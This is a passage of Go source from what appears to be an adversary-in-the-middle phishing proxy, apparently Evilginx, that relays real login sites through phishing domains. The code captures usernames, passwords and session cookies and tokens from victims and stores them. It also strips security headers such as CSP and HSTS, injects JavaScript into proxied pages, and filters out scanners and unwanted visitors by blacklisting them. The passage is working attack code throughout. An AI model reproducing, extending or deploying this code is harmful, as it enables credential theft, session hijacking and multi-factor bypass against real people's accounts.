					if !p.bl.IsWhitelisted(from_ip) {
						err := p.bl.AddIP(from_ip)
						if p.bl.IsVerbose() {
							if err != nil {
								log.Error("blacklist: %s", err)
							} else {
								log.Warning("blacklisted ip address: %s", from_ip)
							}
						}
					}

					return p.blockRequest(req)
				}
			}

			req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
			o_host := req.Host
			lure_url := req_url
			req_path := req.URL.Path
			if req.URL.RawQuery != "" {
				req_url += "?" + req.URL.RawQuery
				//req_path += "?" + req.URL.RawQuery
			}

			pl := p.getPhishletByPhishHost(req.Host)
			remote_addr := from_ip

			redir_re := regexp.MustCompile("^\\/s\\/([^\\/]*)")
			js_inject_re := regexp.MustCompile("^\\/s\\/([^\\/]*)\\/([^\\/]*)")

			if js_inject_re.MatchString(req.URL.Path) {
				ra := js_inject_re.FindStringSubmatch(req.URL.Path)
				if len(ra) >= 3 {
					session_id := ra[1]
					js_id := ra[2]
					if strings.HasSuffix(js_id, ".js") {
						js_id = js_id[:len(js_id)-3]
						if s, ok := p.sessions[session_id]; ok {
							var d_body string
							var js_params *map[string]string = nil
							js_params = &s.Params

							script, err := pl.GetScriptInjectById(js_id, js_params)
							if err == nil {
								d_body += script + "\n\n"
							} else {
								log.Warning("js_inject: script not found: '%s'", js_id)
							}
							resp := goproxy.NewResponse(req, "application/javascript", 200, string(d_body))
							return req, resp
						} else {
							log.Warning("js_inject: session not found: '%s'", session_id)
						}
					}
				}
			} else if redir_re.MatchString(req.URL.Path) {
				ra := redir_re.FindStringSubmatch(req.URL.Path)
				if len(ra) >= 2 {
					session_id := ra[1]
					if strings.HasSuffix(session_id, ".js") {
						// respond with injected javascript
						session_id = session_id[:len(session_id)-3]
						if s, ok := p.sessions[session_id]; ok {
							var d_body string
							if !s.IsDone {
								if s.RedirectURL != "" {
									dynamic_redirect_js := DYNAMIC_REDIRECT_JS
									dynamic_redirect_js = strings.ReplaceAll(dynamic_redirect_js, "{session_id}", s.Id)
									d_body += dynamic_redirect_js + "\n\n"
								}
							}
							resp := goproxy.NewResponse(req, "application/javascript", 200, string(d_body))
							return req, resp
						} else {
							log.Warning("js: session not found: '%s'", session_id)
						}
					} else {
						if _, ok := p.sessions[session_id]; ok {
							redirect_url, ok := p.waitForRedirectUrl(session_id)
							if ok {
								type ResponseRedirectUrl struct {
									RedirectUrl string `json:"redirect_url"`
								}
								d_json, err := json.Marshal(&ResponseRedirectUrl{RedirectUrl: redirect_url})
								if err == nil {
									s_index, _ := p.sids[session_id]
									log.Important("[%d] dynamic redirect to URL: %s", s_index, redirect_url)
									resp := goproxy.NewResponse(req, "application/json", 200, string(d_json))
									return req, resp
								}
							}
							resp := goproxy.NewResponse(req, "application/json", 408, "")
							return req, resp
						} else {
							log.Warning("api: session not found: '%s'", session_id)
						}
					}
				}
			}

			phishDomain, phished := p.getPhishDomain(req.Host)
			if phished {
				pl_name := ""
				if pl != nil {
					pl_name = pl.Name
					ps.PhishletName = pl_name
				}
				session_cookie := getSessionCookieName(pl_name, p.cookieName)

				ps.PhishDomain = phishDomain
				req_ok := false
				// handle session
				if p.handleSession(req.Host) && pl != nil {
					l, err := p.cfg.GetLureByPath(pl_name, o_host, req_path)
					if err == nil {
						log.Debug("triggered lure for path '%s'", req_path)
					}

					var create_session bool = true
					var ok bool = false
					sc, err := req.Cookie(session_cookie)
					if err == nil {
						ps.Index, ok = p.sids[sc.Value]
						if ok {
							create_session = false
							ps.SessionId = sc.Value
							p.whitelistIP(remote_addr, ps.SessionId, pl.Name)
						} else {
							log.Error("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
						}
					} else {
						if l == nil && p.isWhitelistedIP(remote_addr, pl.Name) {
							// not a lure path and IP is whitelisted

							// TODO: allow only retrieval of static content, without setting session ID

							create_session = false
							req_ok = true
							/*
								ps.SessionId, ok = p.getSessionIdByIP(remote_addr, req.Host)
								if ok {
									create_session = false
									ps.Index, ok = p.sids[ps.SessionId]
								} else {
									log.Error("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
								}*/
						}
					}

					if create_session /*&& !p.isWhitelistedIP(remote_addr, pl.Name)*/ { // TODO: always trigger new session when lure URL is detected (do not check for whitelisted IP only after this is done)
						// session cookie not found
						if !p.cfg.IsSiteHidden(pl_name) {
							if l != nil {
								// check if lure is not paused
								if l.PausedUntil > 0 && time.Unix(l.PausedUntil, 0).After(time.Now()) {
									log.Warning("[%s] lure is paused: %s [%s]", hiblue.Sprint(pl_name), req_url, remote_addr)
									return p.blockRequest(req)
								}

								// check if lure user-agent filter is triggered
								if len(l.UserAgentFilter) > 0 {
									re, err := regexp.Compile(l.UserAgentFilter)
									if err == nil {
										if !re.MatchString(req.UserAgent()) {
											log.Warning("[%s] unauthorized request (user-agent rejected): %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)

											if p.cfg.GetBlacklistMode() == "unauth" {
												if !p.bl.IsWhitelisted(from_ip) {
													err := p.bl.AddIP(from_ip)
													if p.bl.IsVerbose() {
														if err != nil {
															log.Error("blacklist: %s", err)
														} else {
															log.Warning("blacklisted ip address: %s", from_ip)
														}
													}
												}
											}
											return p.blockRequest(req)
										}
									} else {
										log.Error("lures: user-agent filter regexp is invalid: %v", err)
									}
								}

								session, err := NewSession(pl.Name)
								if err == nil {
									// set params from url arguments
									p.extractParams(session, req.URL)

									if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
										if trackParam, ok := session.Params["o"]; ok {
											if trackParam == "track" {
												// gophish email tracker image
												rid, ok := session.Params["rid"]
												if ok && rid != "" {
													log.Info("[gophish] [%s] email opened: %s (%s)", hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr)
													p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
													err = p.gophish.ReportEmailOpened(rid, remote_addr, req.Header.Get("User-Agent"))
													if err != nil {
														log.Error("gophish: %s", err)
													}
													return p.trackerImage(req)
												}
											}
										}
									}

									sid := p.last_sid
									p.last_sid += 1
									log.Important("[%d] [%s] new visitor has arrived: %s (%s)", sid, hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr)
									log.Info("[%d] [%s] landing URL: %s", sid, hiblue.Sprint(pl_name), req_url)
									p.sessions[session.Id] = session
									p.sids[session.Id] = sid

									if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
										rid, ok := session.Params["rid"]
										if ok && rid != "" {
											p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
											err = p.gophish.ReportEmailLinkClicked(rid, remote_addr, req.Header.Get("User-Agent"))
											if err != nil {
												log.Error("gophish: %s", err)
											}
										}
									}

									landing_url := req_url //fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.Path)
									if err := p.db.CreateSession(session.Id, pl.Name, landing_url, req.Header.Get("User-Agent"), remote_addr); err != nil {
										log.Error("database: %v", err)
									}

									session.RemoteAddr = remote_addr
									session.UserAgent = req.Header.Get("User-Agent")
									session.RedirectURL = pl.RedirectUrl
									if l.RedirectUrl != "" {
										session.RedirectURL = l.RedirectUrl
									}
									if session.RedirectURL != "" {
										session.RedirectURL, _ = p.replaceUrlWithPhished(session.RedirectURL)
									}
									session.PhishLure = l
									log.Debug("redirect URL (lure): %s", session.RedirectURL)

									ps.SessionId = session.Id
									ps.Created = true
									ps.Index = sid
									p.whitelistIP(remote_addr, ps.SessionId, pl.Name)

									req_ok = true
								}
							} else {
								log.Warning("[%s] unauthorized request: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)

								if p.cfg.GetBlacklistMode() == "unauth" {
									if !p.bl.IsWhitelisted(from_ip) {
										err := p.bl.AddIP(from_ip)
										if p.bl.IsVerbose() {
											if err != nil {
												log.Error("blacklist: %s", err)
											} else {
												log.Warning("blacklisted ip address: %s", from_ip)
											}
										}
									}
								}
								return p.blockRequest(req)
							}
						} else {
							log.Warning("[%s] request to hidden phishlet: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
						}
					}
				}

				// redirect for unauthorized requests
				if ps.SessionId == "" && p.handleSession(req.Host) {
					if !req_ok {
						return p.blockRequest(req)
					}
				}
				req.Header.Set(p.getHomeDir(), o_host)

				if ps.SessionId != "" {
					if s, ok := p.sessions[ps.SessionId]; ok {
						l, err := p.cfg.GetLureByPath(pl_name, o_host, req_path)
						if err == nil {
							// show html redirector if it is set for the current lure
							if l.Redirector != "" {
								if !p.isForwarderUrl(req.URL) {
									if s.RedirectorName == "" {
										s.RedirectorName = l.Redirector
										s.LureDirPath = req_path
									}

									t_dir := l.Redirector
									if !filepath.IsAbs(t_dir) {
										redirectors_dir := p.cfg.GetRedirectorsDir()
										t_dir = filepath.Join(redirectors_dir, t_dir)
									}

									index_path1 := filepath.Join(t_dir, "index.html")
									index_path2 := filepath.Join(t_dir, "index.htm")
									index_found := ""
									if _, err := os.Stat(index_path1); !os.IsNotExist(err) {
										index_found = index_path1
									} else if _, err := os.Stat(index_path2); !os.IsNotExist(err) {
										index_found = index_path2
									}

									if _, err := os.Stat(index_found); !os.IsNotExist(err) {
										html, err := ioutil.ReadFile(index_found)
										if err == nil {

											html = p.injectOgHeaders(l, html)

											body := string(html)
											body = p.replaceHtmlParams(body, lure_url, &s.Params)

											resp := goproxy.NewResponse(req, "text/html", http.StatusOK, body)
											if resp != nil {
												return req, resp
											} else {
												log.Error("lure: failed to create html redirector response")
											}
										} else {
											log.Error("lure: failed to read redirector file: %s", err)
										}

									} else {
										log.Error("lure: redirector file does not exist: %s", index_found)
									}
								}
							}
						} else if s.RedirectorName != "" {
							// session has already triggered a lure redirector - see if there are any files requested by the redirector

							rel_parts := []string{}
							req_path_parts := strings.Split(req_path, "/")
							lure_path_parts := strings.Split(s.LureDirPath, "/")

							for n, dname := range req_path_parts {
								if len(dname) > 0 {
									path_add := true
									if n < len(lure_path_parts) {
										//log.Debug("[%d] %s <=> %s", n, lure_path_parts[n], req_path_parts[n])
										if req_path_parts[n] == lure_path_parts[n] {
											path_add = false
										}
									}
									if path_add {
										rel_parts = append(rel_parts, req_path_parts[n])
									}
								}

							}
							rel_path := filepath.Join(rel_parts...)
							//log.Debug("rel_path: %s", rel_path)

							t_dir := s.RedirectorName
							if !filepath.IsAbs(t_dir) {
								redirectors_dir := p.cfg.GetRedirectorsDir()
								t_dir = filepath.Join(redirectors_dir, t_dir)
							}

							path := filepath.Join(t_dir, rel_path)
							if _, err := os.Stat(path); !os.IsNotExist(err) {
								fdata, err := ioutil.ReadFile(path)
								if err == nil {
									//log.Debug("ext: %s", filepath.Ext(req_path))
									mime_type := getContentType(req_path, fdata)
									//log.Debug("mime_type: %s", mime_type)
									resp := goproxy.NewResponse(req, mime_type, http.StatusOK, "")
									if resp != nil {
										resp.Body = io.NopCloser(bytes.NewReader(fdata))
										return req, resp
									} else {
										log.Error("lure: failed to create redirector data file response")
									}
								} else {
									log.Error("lure: failed to read redirector data file: %s", err)
								}
							} else {
								//log.Warning("lure: template file does not exist: %s", path)
							}
						}
					}
				}

				// redirect to login page if triggered lure path
				if pl != nil {
					_, err := p.cfg.GetLureByPath(pl_name, o_host, req_path)
					if err == nil {
						// redirect from lure path to login url
						rurl := pl.GetLoginUrl()
						u, err := url.Parse(rurl)
						if err == nil {
							if strings.ToLower(req_path) != strings.ToLower(u.Path) {
								resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
								if resp != nil {
									resp.Header.Add("Location", rurl)
									return req, resp
								}
							}
						}
					}
				}

				// check if lure hostname was triggered - by now all of the lure hostname handling should be done, so we can bail out
				if p.cfg.IsLureHostnameValid(req.Host) {
					log.Debug("lure hostname detected - returning 404 for request: %s", req_url)

					resp := goproxy.NewResponse(req, "text/html", http.StatusNotFound, "")
					if resp != nil {
						return req, resp
					}
				}

				// replace "Host" header
				if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
					req.Host = r_host
				}

				// fix origin
				origin := req.Header.Get("Origin")
				if origin != "" {
					if o_url, err := url.Parse(origin); err == nil {
						if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok {
							o_url.Host = r_host
							req.Header.Set("Origin", o_url.String())
						}
					}
				}

				// prevent caching
				req.Header.Set("Cache-Control", "no-cache")

				// fix sec-fetch-dest
				sec_fetch_dest := req.Header.Get("Sec-Fetch-Dest")
				if sec_fetch_dest != "" {
					if sec_fetch_dest == "iframe" {
						req.Header.Set("Sec-Fetch-Dest", "document")
					}
				}

				// fix referer
				referer := req.Header.Get("Referer")
				if referer != "" {
					if o_url, err := url.Parse(referer); err == nil {
						if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok {
							o_url.Host = r_host
							req.Header.Set("Referer", o_url.String())
						}
					}
				}

				// patch GET query params with original domains
				if pl != nil {
					qs := req.URL.Query()
					if len(qs) > 0 {
						for gp := range qs {
							for i, v := range qs[gp] {
								qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS))
							}
						}
						req.URL.RawQuery = qs.Encode()
					}
				}

				// check for creds in request body
				if pl != nil && ps.SessionId != "" {
					req.Header.Set(p.getHomeDir(), o_host)
					body, err := ioutil.ReadAll(req.Body)
					if err == nil {
						req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))

						// patch phishing URLs in JSON body with original domains
						body = p.patchUrls(pl, body, CONVERT_TO_ORIGINAL_URLS)
						req.ContentLength = int64(len(body))

						log.Debug("POST: %s", req.URL.Path)
						log.Debug("POST body = %s", body)

						contentType := req.Header.Get("Content-type")

						json_re := regexp.MustCompile("application\\/\\w*\\+?json")
						form_re := regexp.MustCompile("application\\/x-www-form-urlencoded")

						if json_re.MatchString(contentType) {

							if pl.username.tp == "json" {
								um := pl.username.search.FindStringSubmatch(string(body))
								if um != nil && len(um) > 1 {
									p.setSessionUsername(ps.SessionId, um[1])
									log.Success("[%d] Username: [%s]", ps.Index, um[1])
									if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
										log.Error("database: %v", err)
									}
								}
							}

							if pl.password.tp == "json" {
								pm := pl.password.search.FindStringSubmatch(string(body))
								if pm != nil && len(pm) > 1 {
									p.setSessionPassword(ps.SessionId, pm[1])
									log.Success("[%d] Password: [%s]", ps.Index, pm[1])
									if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
										log.Error("database: %v", err)
									}
								}
							}

							for _, cp := range pl.custom {
								if cp.tp == "json" {
									cm := cp.search.FindStringSubmatch(string(body))
									if cm != nil && len(cm) > 1 {
										p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
										log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
										if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
											log.Error("database: %v", err)
										}
									}
								}
							}

							// force post json
							for _, fp := range pl.forcePost {
								if fp.path.MatchString(req.URL.Path) {
									log.Debug("force_post: url matched: %s", req.URL.Path)
									ok_search := false
									if len(fp.search) > 0 {
										k_matched := len(fp.search)
										for _, fp_s := range fp.search {
											matches := fp_s.key.FindAllString(string(body), -1)
											for _, match := range matches {
												if fp_s.search.MatchString(match) {
													if k_matched > 0 {
														k_matched -= 1
													}
													log.Debug("force_post: [%d] matched - %s", k_matched, match)
													break
												}
											}
										}
										if k_matched == 0 {
											ok_search = true
										}
									} else {
										ok_search = true
									}
									if ok_search {
										for _, fp_f := range fp.force {
											body, err = SetJSONVariable(body, fp_f.key, fp_f.value)
											if err != nil {
												log.Debug("force_post: got error: %s", err)
											}
											log.Debug("force_post: updated body parameter: %s : %s", fp_f.key, fp_f.value)
										}
									}
									req.ContentLength = int64(len(body))
									log.Debug("force_post: body: %s len:%d", body, len(body))
								}
							}

						} else if form_re.MatchString(contentType) {

							if req.ParseForm() == nil && req.PostForm != nil && len(req.PostForm) > 0 {
								log.Debug("POST: %s", req.URL.Path)

								for k, v := range req.PostForm {
									// patch phishing URLs in POST params with original domains

									if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
										um := pl.username.search.FindStringSubmatch(v[0])
										if um != nil && len(um) > 1 {
											p.setSessionUsername(ps.SessionId, um[1])
											log.Success("[%d] Username: [%s]", ps.Index, um[1])
											if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
												log.Error("database: %v", err)
											}
										}
									}
									if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
										pm := pl.password.search.FindStringSubmatch(v[0])
										if pm != nil && len(pm) > 1 {
											p.setSessionPassword(ps.SessionId, pm[1])
											log.Success("[%d] Password: [%s]", ps.Index, pm[1])
											if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
												log.Error("database: %v", err)
											}
										}
									}
									for _, cp := range pl.custom {
										if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
											cm := cp.search.FindStringSubmatch(v[0])
											if cm != nil && len(cm) > 1 {
												p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
												log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
												if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
													log.Error("database: %v", err)
												}
											}
										}
									}
								}

								for k, v := range req.PostForm {
									for i, vv := range v {
										// patch phishing URLs in POST params with original domains
										req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS))
									}
								}

								for k, v := range req.PostForm {
									if len(v) > 0 {
										log.Debug("POST %s = %s", k, v[0])
									}
								}

								body = []byte(req.PostForm.Encode())
								req.ContentLength = int64(len(body))

								// force posts
								for _, fp := range pl.forcePost {
									if fp.path.MatchString(req.URL.Path) {
										log.Debug("force_post: url matched: %s", req.URL.Path)
										ok_search := false
										if len(fp.search) > 0 {
											k_matched := len(fp.search)
											for _, fp_s := range fp.search {
												for k, v := range req.PostForm {
													if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
														if k_matched > 0 {
															k_matched -= 1
														}
														log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
														break
													}
												}
											}
											if k_matched == 0 {
												ok_search = true
											}
										} else {
											ok_search = true
										}

										if ok_search {
											for _, fp_f := range fp.force {
												req.PostForm.Set(fp_f.key, fp_f.value)
											}
											body = []byte(req.PostForm.Encode())
											req.ContentLength = int64(len(body))
											log.Debug("force_post: body: %s len:%d", body, len(body))
										}
									}
								}

							}

						}
						req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
					}
				}

				// check if request should be intercepted
				if pl != nil {
					if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
						for _, ic := range pl.intercept {
							//log.Debug("ic.domain:%s r_host:%s", ic.domain, r_host)
							//log.Debug("ic.path:%s path:%s", ic.path, req.URL.Path)
							if ic.domain == r_host && ic.path.MatchString(req.URL.Path) {
								return p.interceptRequest(req, ic.http_status, ic.body, ic.mime)
							}
						}
					}
				}

				if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
					s, ok := p.sessions[ps.SessionId]
					if ok && !s.IsDone {
						for _, au := range pl.authUrls {
							if au.MatchString(req.URL.Path) {
								s.Finish(true)
								break
							}
						}
					}
				}
			}

			return req, nil
		})

	p.Proxy.OnResponse().
		DoFunc(func(resp *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
			if resp == nil {
				return nil
			}

			// handle session
			ck := &http.Cookie{}
			ps := ctx.UserData.(*ProxySession)
			if ps.SessionId != "" {
				if ps.Created {
					ck = &http.Cookie{
						Name:    getSessionCookieName(ps.PhishletName, p.cookieName),
						Value:   ps.SessionId,
						Path:    "/",
						Domain:  p.cfg.GetBaseDomain(),
						Expires: time.Now().Add(60 * time.Minute),
					}
				}
			}

			allow_origin := resp.Header.Get("Access-Control-Allow-Origin")
			if allow_origin != "" && allow_origin != "*" {
				if u, err := url.Parse(allow_origin); err == nil {
					if o_host, ok := p.replaceHostWithPhished(u.Host); ok {
						resp.Header.Set("Access-Control-Allow-Origin", u.Scheme+"://"+o_host)
					}
				} else {
					log.Warning("can't parse URL from 'Access-Control-Allow-Origin' header: %s", allow_origin)
				}
				resp.Header.Set("Access-Control-Allow-Credentials", "true")
			}
			var rm_headers = []string{
				"Content-Security-Policy",
				"Content-Security-Policy-Report-Only",
				"Strict-Transport-Security",
				"X-XSS-Protection",
				"X-Content-Type-Options",
				"X-Frame-Options",
			}
			for _, hdr := range rm_headers {
				resp.Header.Del(hdr)
			}

			redirect_set := false
			if s, ok := p.sessions[ps.SessionId]; ok {
				if s.RedirectURL != "" {
					redirect_set = true
				}
			}

			req_hostname := strings.ToLower(resp.Request.Host)

			// if "Location" header is present, make sure to redirect to the phishing domain
			r_url, err := resp.Location()
			if err == nil {
				if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
					r_url.Host = r_host
					resp.Header.Set("Location", r_url.String())
				}
			}

			// fix cookies
			pl := p.getPhishletByOrigHost(req_hostname)
			var auth_tokens map[string][]*CookieAuthToken
			if pl != nil {
				auth_tokens = pl.cookieAuthTokens
			}
			is_cookie_auth := false
			is_body_auth := false
			is_http_auth := false
			cookies := resp.Cookies()
			resp.Header.Del("Set-Cookie")
			for _, ck := range cookies {
				// parse cookie

				// add SameSite=none for every received cookie, allowing cookies through iframes
				if ck.Secure {
					ck.SameSite = http.SameSiteNoneMode
				}

				if len(ck.RawExpires) > 0 && ck.Expires.IsZero() {
					exptime, err := time.Parse(time.RFC850, ck.RawExpires)
					if err != nil {
						exptime, err = time.Parse(time.ANSIC, ck.RawExpires)
						if err != nil {
							exptime, err = time.Parse("Monday, 02-Jan-2006 15:04:05 MST", ck.RawExpires)
						}
					}
					ck.Expires = exptime
				}

				if pl != nil && ps.SessionId != "" {
					c_domain := ck.Domain
					if c_domain == "" {
						c_domain = req_hostname
					} else {
						// always prepend the domain with '.' if Domain cookie is specified - this will indicate that this cookie will be also sent to all sub-domains
						if c_domain[0] != '.' {
							c_domain = "." + c_domain
						}
					}
					log.Debug("%s: %s = %s", c_domain, ck.Name, ck.Value)
					at := pl.getAuthToken(c_domain, ck.Name)
					if at != nil {
						s, ok := p.sessions[ps.SessionId]
						if ok && (s.IsAuthUrl || !s.IsDone) {
							if ck.Value != "" && (at.always || ck.Expires.IsZero() || time.Now().Before(ck.Expires)) { // cookies with empty values or expired cookies are of no interest to us
								log.Debug("session: %s: %s = %s", c_domain, ck.Name, ck.Value)
								s.AddCookieAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, ck.Expires)
							}
						}
					}
				}

				ck.Domain, _ = p.replaceHostWithPhished(ck.Domain)
				resp.Header.Add("Set-Cookie", ck.String())
			}
			if ck.String() != "" {
				resp.Header.Add("Set-Cookie", ck.String())
			}

			// modify received body
			body, err := ioutil.ReadAll(resp.Body)

			if pl != nil {
				if s, ok := p.sessions[ps.SessionId]; ok {
					// capture body response tokens
					for k, v := range pl.bodyAuthTokens {
						if _, ok := s.BodyTokens[k]; !ok {
							//log.Debug("hostname:%s path:%s", req_hostname, resp.Request.URL.Path)
							if req_hostname == v.domain && v.path.MatchString(resp.Request.URL.Path) {
								//log.Debug("RESPONSE body = %s", string(body))
								token_re := v.search.FindStringSubmatch(string(body))
								if token_re != nil && len(token_re) >= 2 {
									s.BodyTokens[k] = token_re[1]
								}
							}
						}
					}

					// capture http header tokens
					for k, v := range pl.httpAuthTokens {
						if _, ok := s.HttpTokens[k]; !ok {
							hv := resp.Request.Header.Get(v.header)
							if hv != "" {
								s.HttpTokens[k] = hv
							}
						}
					}
				}

				// check if we have all tokens
				if len(pl.authUrls) == 0 {
					if s, ok := p.sessions[ps.SessionId]; ok {
						is_cookie_auth = s.AllCookieAuthTokensCaptured(auth_tokens)
						if len(pl.bodyAuthTokens) == len(s.BodyTokens) {
							is_body_auth = true
						}
						if len(pl.httpAuthTokens) == len(s.HttpTokens) {
							is_http_auth = true
						}
					}
				}
			}

			if is_cookie_auth && is_body_auth && is_http_auth {
				// we have all auth tokens
				if s, ok := p.sessions[ps.SessionId]; ok {
					if !s.IsDone {
						log.Success("[%d] all authorization tokens intercepted!", ps.Index)

						if err := p.db.SetSessionCookieTokens(ps.SessionId, s.CookieTokens); err != nil {
							log.Error("database: %v", err)
						}
						if err := p.db.SetSessionBodyTokens(ps.SessionId, s.BodyTokens); err != nil {
							log.Error("database: %v", err)
						}
						if err := p.db.SetSessionHttpTokens(ps.SessionId, s.HttpTokens); err != nil {
							log.Error("database: %v", err)
						}
						s.Finish(false)

						if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
							rid, ok := s.Params["rid"]
							if ok && rid != "" {
								p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
								err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
								if err != nil {
									log.Error("gophish: %s", err)
								}
							}
						}
					}
				}
			}

			mime := strings.Split(resp.Header.Get("Content-type"), ";")[0]
			if err == nil {
				for site, pl := range p.cfg.phishlets {
					if p.cfg.IsSiteEnabled(site) {
						// handle sub_filters
						sfs, ok := pl.subfilters[req_hostname]
						if ok {
							for _, sf := range sfs {
								var param_ok bool = true
								if s, ok := p.sessions[ps.SessionId]; ok {
									var params []string
									for k := range s.Params {
										params = append(params, k)
									}
									if len(sf.with_params) > 0 {
										param_ok = false
										for _, param := range sf.with_params {
											if stringExists(param, params) {
												param_ok = true
												break
											}
										}
									}
								}
								if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) && param_ok {
									re_s := sf.regexp
									replace_s := sf.replace
									phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain))
									phish_sub, _ := p.getPhishSub(phish_hostname)

									re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1)
									re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1)
									re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1)
									re_s = strings.Replace(re_s, "{basedomain}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
									re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1)
									re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1)
									re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1)
									re_s = strings.Replace(re_s, "{basedomain_regexp}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
									replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1)
									replace_s = strings.Replace(replace_s, "{orig_hostname}", obfuscateDots(combineHost(sf.subdomain, sf.domain)), -1)
									replace_s = strings.Replace(replace_s, "{orig_domain}", obfuscateDots(sf.domain), -1)
									replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1)
									replace_s = strings.Replace(replace_s, "{basedomain}", p.cfg.GetBaseDomain(), -1)
									replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1)
									replace_s = strings.Replace(replace_s, "{subdomain_regexp}", regexp.QuoteMeta(phish_sub), -1)
									replace_s = strings.Replace(replace_s, "{basedomain_regexp}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
									phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
									if ok {
										replace_s = strings.Replace(replace_s, "{domain}", phishDomain, -1)
										replace_s = strings.Replace(replace_s, "{domain_regexp}", regexp.QuoteMeta(phishDomain), -1)
									}

									if re, err := regexp.Compile(re_s); err == nil {
										body = []byte(re.ReplaceAllString(string(body), replace_s))
									} else {
										log.Error("regexp failed to compile: `%s`", sf.regexp)
									}
								}
							}
						}

						// handle auto filters (if enabled)
						if stringExists(mime, p.auto_filter_mimes) {
							for _, ph := range pl.proxyHosts {
								if req_hostname == combineHost(ph.orig_subdomain, ph.domain) {
									if ph.auto_filter {
										body = p.patchUrls(pl, body, CONVERT_TO_PHISHING_URLS)
									}
								}
							}
						}
						body = []byte(removeObfuscatedDots(string(body)))
					}
				}

				if stringExists(mime, []string{"text/html"}) {

					if pl != nil && ps.SessionId != "" {
						s, ok := p.sessions[ps.SessionId]
						if ok {
							if s.PhishLure != nil {
								// inject opengraph headers
								l := s.PhishLure
								body = p.injectOgHeaders(l, body)
							}

							var js_params *map[string]string = nil
							if s, ok := p.sessions[ps.SessionId]; ok {
								js_params = &s.Params
							}
							//log.Debug("js_inject: hostname:%s path:%s", req_hostname, resp.Request.URL.Path)
							js_id, _, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
							if err == nil {
								body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s/%s.js", s.Id, js_id))
							}

							log.Debug("js_inject: injected redirect script for session: %s", s.Id)
							body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s.js", s.Id))
						}
					}
				}

				resp.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
			}

			if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
				s, ok := p.sessions[ps.SessionId]
				if ok && s.IsDone {
					for _, au := range pl.authUrls {
